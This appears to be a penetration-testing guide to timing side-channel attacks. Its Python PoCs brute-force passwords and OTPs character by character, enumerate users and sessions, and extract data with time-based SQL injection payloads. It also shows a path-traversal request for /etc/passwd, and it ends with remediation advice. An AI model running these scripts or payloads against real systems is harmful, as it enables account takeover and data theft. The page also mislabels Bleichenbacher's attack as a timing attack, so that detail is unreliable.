Files
hunting/Timing-Attacks

Timing Attacks

Description

Timing attacks are a type of side-channel attack where an attacker can discover information by analyzing the time it takes for a system to respond to different inputs. These attacks exploit variations in processing time to infer sensitive data such as valid usernames, password correctness, cryptographic keys, or internal system states.

How Timing Attacks Work

When an application takes different amounts of time to process valid versus invalid inputs, attackers can measure these timing differences to gain information. For example:

  • Valid username checks may take longer due to additional database queries
  • Password verification may fail faster for wrong usernames than wrong passwords
  • Token validation may reveal valid token formats through timing differences
  • Cryptographic operations may leak information through processing time

Common Vulnerabilities

1. User Enumeration via Login Timing

Login responses take different times for existing vs non-existing users.

2. Password Verification Timing

Password comparison stops at first wrong character (early return).

3. Token Validation Timing

Valid token format takes longer to process than invalid format.

4. Cryptographic Key Discovery

RSA, AES operations leak information through execution time.

5. Database Query Timing

Different query execution times reveal data existence.

6. Cache Timing

Cached vs uncached responses have different timing signatures.

7. Session Validation Timing

Valid session checks take longer than invalid session checks.

8. OTP/PIN Verification Timing

Character-by-character comparison reveals partial correctness.

Common Attack Vectors

  • Authentication endpoints (login, password reset)
  • Token validation endpoints
  • Search functionality
  • Database queries
  • Cryptographic operations
  • Session management
  • File existence checks
  • Cache mechanisms

Testing Methodology & PoC Examples

PoC 1: User Enumeration via Login Timing

Vulnerability: Different response times for existing vs non-existing users.

Steps to Test:

  1. Send login request with known existing username
  2. Measure response time (e.g., 250ms)
  3. Send login request with non-existing username
  4. Measure response time (e.g., 50ms)
  5. Significant difference indicates vulnerability

Python Script:

import requests
import time

def measure_login_time(username, password):
    start = time.time()
    response = requests.post('https://example.com/login', 
        data={'username': username, 'password': password})
    end = time.time()
    return end - start

# Test with known existing user
existing_user_time = measure_login_time('admin', 'wrong_password')
print(f"Existing user time: {existing_user_time:.3f}s")

# Test with non-existing user
nonexistent_user_time = measure_login_time('nonexistent_user_12345', 'wrong_password')
print(f"Non-existing user time: {nonexistent_user_time:.3f}s")

# If difference is significant (>50ms), vulnerability exists
if abs(existing_user_time - nonexistent_user_time) > 0.05:
    print("Timing attack vulnerability detected!")

Request Example:

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

Mitigation: Use constant-time comparison and always perform same operations regardless of user existence.


PoC 2: Password Length Discovery via Timing

Vulnerability: Password verification time increases with correct prefix length.

Steps to Test:

  1. Try passwords of different lengths
  2. Measure response time for each
  3. Longer correct prefixes take more time
  4. Incrementally discover password character by character

Python Script:

import requests
import time
import string

def test_password_timing(username, password):
    times = []
    for _ in range(10):  # Multiple attempts for accuracy
        start = time.time()
        requests.post('https://example.com/login',
            data={'username': username, 'password': password})
        end = time.time()
        times.append(end - start)
    return sum(times) / len(times)  # Average time

# Brute force password character by character
known_password = ""
for position in range(20):  # Try up to 20 characters
    best_char = None
    longest_time = 0
    
    for char in string.ascii_letters + string.digits:
        test_password = known_password + char
        avg_time = test_password_timing('admin', test_password)
        
        if avg_time > longest_time:
            longest_time = avg_time
            best_char = char
    
    if best_char:
        known_password += best_char
        print(f"Discovered: {known_password}")
    else:
        break

PoC 3: Token Validation Timing Attack

Vulnerability: Valid token format takes longer to validate.

Steps to Test:

  1. Send requests with various token formats
  2. Measure validation time
  3. Valid format (even if expired) takes longer
  4. Use timing to discover valid token structure

Request Examples:

GET /api/validate?token=invalid_format HTTP/1.1
Host: example.com
# Fast response (5ms)

GET /api/validate?token=550e8400-e29b-41d4-a716-446655440000 HTTP/1.1
Host: example.com
# Slower response (50ms) - valid UUID format

Python Script:

import requests
import time

tokens = [
    'invalid',
    '12345',
    'abc-def-ghi',
    '550e8400-e29b-41d4-a716-446655440000',  # Valid UUID
    'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...',  # Valid JWT format
]

for token in tokens:
    start = time.time()
    response = requests.get(f'https://example.com/api/validate?token={token}')
    elapsed = time.time() - start
    print(f"Token: {token[:20]}... Time: {elapsed:.4f}s")

PoC 4: Database Query Timing (SQL Timing Attack)

Vulnerability: Different query execution times reveal data.

Steps to Test:

  1. Inject time-based SQL payloads
  2. Measure response time
  3. If condition is true, response is delayed
  4. Extract data bit by bit

SQL Timing Payloads:

' OR IF(1=1, SLEEP(5), 0) --
' OR IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
' AND IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 0) --
admin' AND IF(LENGTH(password)>8, BENCHMARK(5000000,SHA1('test')), 0) --

Request:

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

query=' OR IF(1=1, SLEEP(5), 0) --

Python Script:

import requests
import time

def check_condition(condition):
    payload = f"' OR IF({condition}, SLEEP(5), 0) --"
    start = time.time()
    requests.post('https://example.com/search', data={'query': payload})
    elapsed = time.time() - start
    return elapsed > 5  # True if condition is true

# Extract database name length
for length in range(1, 50):
    if check_condition(f"LENGTH(DATABASE())={length}"):
        print(f"Database name length: {length}")
        break

PoC 5: Cache Timing Attack

Vulnerability: Cached responses are faster than uncached.

Steps to Test:

  1. Request resource multiple times
  2. First request is slow (cache miss)
  3. Subsequent requests are fast (cache hit)
  4. Use timing to discover accessed resources

Python Script:

import requests
import time

def check_cache_timing(url):
    # First request - potential cache miss
    start = time.time()
    requests.get(url)
    first_time = time.time() - start
    
    # Second request - potential cache hit
    start = time.time()
    requests.get(url)
    second_time = time.time() - start
    
    print(f"URL: {url}")
    print(f"First: {first_time:.4f}s, Second: {second_time:.4f}s")
    
    if second_time < first_time * 0.5:
        print("Likely cached!")
        return True
    return False

# Test various resources
resources = [
    'https://example.com/api/user/1',
    'https://example.com/api/user/2',
    'https://example.com/api/user/999',
]

for resource in resources:
    check_cache_timing(resource)

PoC 6: OTP/PIN Brute Force via Timing

Vulnerability: Character-by-character OTP comparison.

Steps to Test:

  1. Try OTPs with different first digits
  2. Correct first digit takes slightly longer
  3. Repeat for each position
  4. Discover OTP digit by digit

Python Script:

import requests
import time

def test_otp_timing(otp):
    times = []
    for _ in range(20):  # Multiple measurements
        start = time.time()
        requests.post('https://example.com/verify-otp',
            data={'otp': otp})
        times.append(time.time() - start)
    return sum(times) / len(times)

# Discover 6-digit OTP
discovered_otp = ""
for position in range(6):
    best_digit = None
    longest_time = 0
    
    for digit in range(10):
        test_otp = discovered_otp + str(digit) + "0" * (5 - position)
        avg_time = test_otp_timing(test_otp)
        
        if avg_time > longest_time:
            longest_time = avg_time
            best_digit = digit
    
    discovered_otp += str(best_digit)
    print(f"Discovered so far: {discovered_otp}")

PoC 7: File Existence Check via Timing

Vulnerability: File existence affects response time.

Steps to Test:

  1. Request files that may exist
  2. Existing files take longer (file I/O)
  3. Non-existing files fail fast
  4. Enumerate file structure via timing

Request:

GET /download?file=../../../etc/passwd HTTP/1.1
Host: example.com
# Slower if file exists and is accessed

PoC 8: Session Validation Timing

Vulnerability: Valid sessions require more checks.

Steps to Test:

  1. Send requests with various session IDs
  2. Valid format sessions take longer to invalidate
  3. Discover valid session ID patterns

Python Script:

import requests
import time
import uuid

def check_session_timing(session_id):
    start = time.time()
    requests.get('https://example.com/api/data',
        cookies={'SESSIONID': session_id})
    return time.time() - start

# Test different session formats
session_times = {}
for _ in range(10):
    # Random UUID
    session_id = str(uuid.uuid4())
    timing = check_session_timing(session_id)
    session_times[session_id] = timing
    print(f"Session: {session_id} Time: {timing:.4f}s")

# Sessions with longer times might have valid format
sorted_sessions = sorted(session_times.items(), key=lambda x: x[1], reverse=True)
print("\nSlowest (potentially valid format):")
for session, timing in sorted_sessions[:3]:
    print(f"{session}: {timing:.4f}s")

PoC 9: Cryptographic Timing Attack (RSA)

Vulnerability: RSA decryption time leaks private key information.

Concept:

  • RSA operations time varies based on key bits
  • Measure time for different ciphertext
  • Statistical analysis reveals key bits

Note: This requires many measurements and statistical analysis. Real-world example: Bleichenbacher's attack.


PoC 10: Rate Limiting Detection via Timing

Vulnerability: Rate limiting adds delay to responses.

Steps to Test:

  1. Send requests rapidly
  2. Measure response times
  3. After threshold, responses become slower
  4. Discover rate limit threshold

Python Script:

import requests
import time

url = 'https://example.com/api/endpoint'
times = []

for i in range(100):
    start = time.time()
    response = requests.get(url)
    elapsed = time.time() - start
    times.append(elapsed)
    print(f"Request {i+1}: {elapsed:.4f}s")
    
    # Detect sudden increase in response time
    if len(times) > 10:
        avg_recent = sum(times[-10:]) / 10
        avg_early = sum(times[:10]) / 10
        if avg_recent > avg_early * 2:
            print(f"Rate limit detected around request {i+1}")
            break

Tools for Testing

1. Custom Python Scripts

import statistics
import requests
import time

def statistical_timing_attack(url, payloads):
    results = {}
    for payload in payloads:
        times = []
        for _ in range(50):  # 50 measurements for accuracy
            start = time.time()
            requests.post(url, data={'input': payload})
            times.append(time.time() - start)
        
        # Calculate statistics
        avg = statistics.mean(times)
        stdev = statistics.stdev(times)
        results[payload] = {'avg': avg, 'stdev': stdev}
    
    return results

2. Burp Suite Intruder

  • Use "Pitchfork" attack type
  • Add "Response received" column
  • Sort by response time
  • Look for patterns

3. Timing Attack Tools

# Using cURL with timing
for i in {1..100}; do
  curl -w "Time: %{time_total}s\n" -o /dev/null -s \
    "https://example.com/api/check?username=user$i"
done

# Using Apache Bench
ab -n 1000 -c 10 https://example.com/login

# Using wrk for timing analysis
wrk -t12 -c400 -d30s https://example.com/api

4. Statistical Analysis Tools

import numpy as np
import matplotlib.pyplot as plt

# Analyze timing data
times_existing_users = [0.245, 0.248, 0.251, 0.247, 0.249]
times_nonexistent_users = [0.048, 0.051, 0.049, 0.050, 0.047]

print(f"Existing users avg: {np.mean(times_existing_users):.4f}s")
print(f"Non-existing users avg: {np.mean(times_nonexistent_users):.4f}s")

# Plot histogram
plt.hist(times_existing_users, alpha=0.5, label='Existing')
plt.hist(times_nonexistent_users, alpha=0.5, label='Non-existing')
plt.legend()
plt.xlabel('Response Time (s)')
plt.ylabel('Frequency')
plt.title('Timing Attack - User Enumeration')
plt.show()

Exploitation Impact

  • Critical: Password/key extraction, cryptographic attacks
  • High: User enumeration, session discovery, data extraction
  • Medium: Information disclosure, system behavior mapping
  • Privacy Impact: Reveals user existence, activity patterns

Remediation

1. Constant-Time Operations

# Bad - Early return
def check_password(input_password, stored_password):
    if len(input_password) != len(stored_password):
        return False
    for i in range(len(input_password)):
        if input_password[i] != stored_password[i]:
            return False  # Early return leaks information
    return True

# Good - Constant-time comparison
import hmac

def check_password_secure(input_password, stored_password):
    return hmac.compare_digest(input_password.encode(), stored_password.encode())

2. Normalize Response Times

import time
import random

def login(username, password):
    start_time = time.time()
    
    # Perform authentication
    result = authenticate(username, password)
    
    # Add random delay to normalize timing
    elapsed = time.time() - start_time
    target_time = 0.5  # Fixed response time
    if elapsed < target_time:
        time.sleep(target_time - elapsed + random.uniform(0, 0.05))
    
    return result

3. Rate Limiting

  • Implement aggressive rate limiting on sensitive endpoints
  • Use exponential backoff
  • CAPTCHA after multiple attempts

4. Identical Code Paths

  • Execute same operations for valid and invalid inputs
  • Always query database even if username doesn't exist
  • Always perform password hash comparison

5. Timing Jitter

import random
import time

def add_timing_jitter():
    time.sleep(random.uniform(0.01, 0.05))

6. Blinding Techniques

  • Use blinding in cryptographic operations
  • Add random delays
  • Use secure libraries (e.g., libsodium)

7. Monitoring and Detection

  • Monitor for unusual timing patterns
  • Detect rapid sequential requests
  • Alert on systematic timing probes

8. Use Secure Libraries

  • Use constant-time comparison functions
  • Use timing-safe cryptographic libraries
  • Follow OWASP guidelines

References

Payloads

See timing-attacks-payloads.txt for a comprehensive list of timing attack payloads and test cases.